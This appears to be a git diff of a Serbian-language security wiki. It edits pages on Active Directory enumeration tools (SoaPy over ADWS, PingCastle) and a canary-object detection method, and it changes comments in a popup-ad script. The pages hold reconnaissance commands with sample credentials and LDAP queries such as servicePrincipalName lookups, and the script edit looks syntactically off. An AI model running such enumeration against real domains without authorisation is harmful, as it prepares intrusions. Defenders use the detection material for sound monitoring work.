[SoaPy](https://github.com/logangoins/soapy) je **potpuna re-implementacija ADWS protokolskog staka u čistom Python-u**. Kreira NBFX/NBFSE/NNS/NMF okvire bajt po bajt, omogućavajući prikupljanje sa Unix-sličnih sistema bez dodirivanja .NET runtime-a.
|
||||
[SoaPy](https://github.com/logangoins/soapy) je **potpuna re-implementacija ADWS protokolskog steka u čistom Python-u**. Kreira NBFX/NBFSE/NNS/NMF okvire bajt po bajt, omogućavajući prikupljanje sa Unix-sličnih sistema bez dodirivanja .NET runtime-a.
|
||||
|
||||
### Ključne Karakteristike
|
||||
|
||||
@ -44,7 +44,7 @@ soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
|
||||
-q '(objectClass=domain)' \
|
||||
| tee data/domain.log
|
||||
```
|
||||
3. **Sakupite ADCS povezane objekte iz Configuration NC:**
|
||||
3. **Prikupite ADCS povezane objekte iz Configuration NC:**
|
||||
```bash
|
||||
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
|
||||
-dn 'CN=Configuration,DC=ludus,DC=domain' \
|
||||
@ -82,7 +82,7 @@ Događaji će se pojaviti pod **Directory-Service** sa punim LDAP filtrima, čak
|
||||
|
||||
1. Kreirajte lažni objekat (npr. onemogućeni korisnik `CanaryUser`).
|
||||
2. Dodajte **Audit** ACE za _Everyone_ princip, koji se prati na **ReadProperty**.
|
||||
3. Kada god napadač izvrši `(servicePrincipalName=*)`, `(objectClass=user)` itd., DC emituje **Event 4662** koji sadrži pravi SID korisnika – čak i kada je zahtev posredovan ili potiče iz ADWS.
|
||||
3. Kada napadač izvrši `(servicePrincipalName=*)`, `(objectClass=user)` itd., DC emituje **Event 4662** koji sadrži pravi SID korisnika – čak i kada je zahtev posredovan ili potiče iz ADWS.
|
||||
|
||||
Primer unapred definisane pravila za Elastic:
|
||||
```kql
|
||||
|
@ -71,7 +71,7 @@ Group3r.exe -f gpo.log # -s to stdout
|
||||
|
||||
## PingCastle
|
||||
|
||||
[PingCastle](https://www.pingcastle.com/documentation/) vrši **proveru zdravlja** Active Directory i generiše HTML izveštaj sa ocenom rizika.
|
||||
[PingCastle](https://www.pingcastle.com/documentation/) vrši **proveru zdravlja** Active Directory-a i generiše HTML izveštaj sa ocenom rizika.
|
||||
```powershell
|
||||
PingCastle.exe --healthcheck --server corp.local --user bob --password "P@ssw0rd!"
|
||||
```
|
||||
|
24
theme/ai.js
24
theme/ai.js
@ -1,6 +1,6 @@
|
||||
/**
|
||||
* HackTricks Training Discounts
|
||||
*/
|
||||
|
||||
|
||||
|
||||
(() => {
|
||||
@ -9,13 +9,13 @@
|
||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||
const URL = 'https://training.hacktricks.xyz';
|
||||
|
||||
/* Stop if user already dismissed */
|
||||
// Stop if user already dismissed
|
||||
if (localStorage.getItem(KEY) === 'true') return;
|
||||
|
||||
/* Quick helper */
|
||||
// Quick helper
|
||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
||||
|
||||
/* --- Overlay (blur + dim) --- */
|
||||
// --- Overlay (blur + dim) ---
|
||||
const overlay = $('div', `
|
||||
position: fixed; inset: 0;
|
||||
background: rgba(0,0,0,.4);
|
||||
@ -24,7 +24,7 @@
|
||||
z-index: 10000;
|
||||
`);
|
||||
|
||||
/* --- Modal --- */
|
||||
// --- Modal ---
|
||||
const modal = $('div', `
|
||||
max-width: 90vw; width: 480px;
|
||||
background: #fff; border-radius: 12px; overflow: hidden;
|
||||
@ -33,10 +33,10 @@
|
||||
display: flex; flex-direction: column; align-items: stretch;
|
||||
`);
|
||||
|
||||
/* --- Title bar (link + close) --- */
|
||||
// --- Title bar (link + close) ---
|
||||
const titleBar = $('div', `
|
||||
position: relative;
|
||||
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
|
||||
padding: 1rem 2.5rem 1rem 1rem; // room for the close button
|
||||
text-align: center;
|
||||
background: #222; color: #fff;
|
||||
font-size: 1.3rem; font-weight: 700;
|
||||
@ -53,7 +53,7 @@
|
||||
link.textContent = TXT;
|
||||
titleBar.appendChild(link);
|
||||
|
||||
/* Close "X" (no persistence) */
|
||||
// Close "X" (no persistence)
|
||||
const closeBtn = $('button', `
|
||||
position: absolute; top: .25rem; right: .5rem;
|
||||
background: transparent; border: none;
|
||||
@ -65,11 +65,11 @@
|
||||
closeBtn.onclick = () => overlay.remove();
|
||||
titleBar.appendChild(closeBtn);
|
||||
|
||||
/* --- Image --- */
|
||||
// --- Image ---
|
||||
const img = $('img');
|
||||
img.src = IMG; img.alt = TXT; img.style.width = '100%';
|
||||
|
||||
/* --- Checkbox row --- */
|
||||
// --- Checkbox row ---
|
||||
const label = $('label', `
|
||||
display: flex; align-items: center; justify-content: center; gap: .6rem;
|
||||
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
|
||||
@ -83,7 +83,7 @@
|
||||
};
|
||||
label.append(cb, document.createTextNode("Don't show again"));
|
||||
|
||||
/* --- Assemble & inject --- */
|
||||
// --- Assemble & inject ---
|
||||
modal.append(titleBar, img, label);
|
||||
overlay.appendChild(modal);
|
||||
|
||||
@ -93,7 +93,7 @@
|
||||
document.body.appendChild(overlay);
|
||||
}
|
||||
})();
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/**
|
||||
|
Loading…
x
Reference in New Issue
Block a user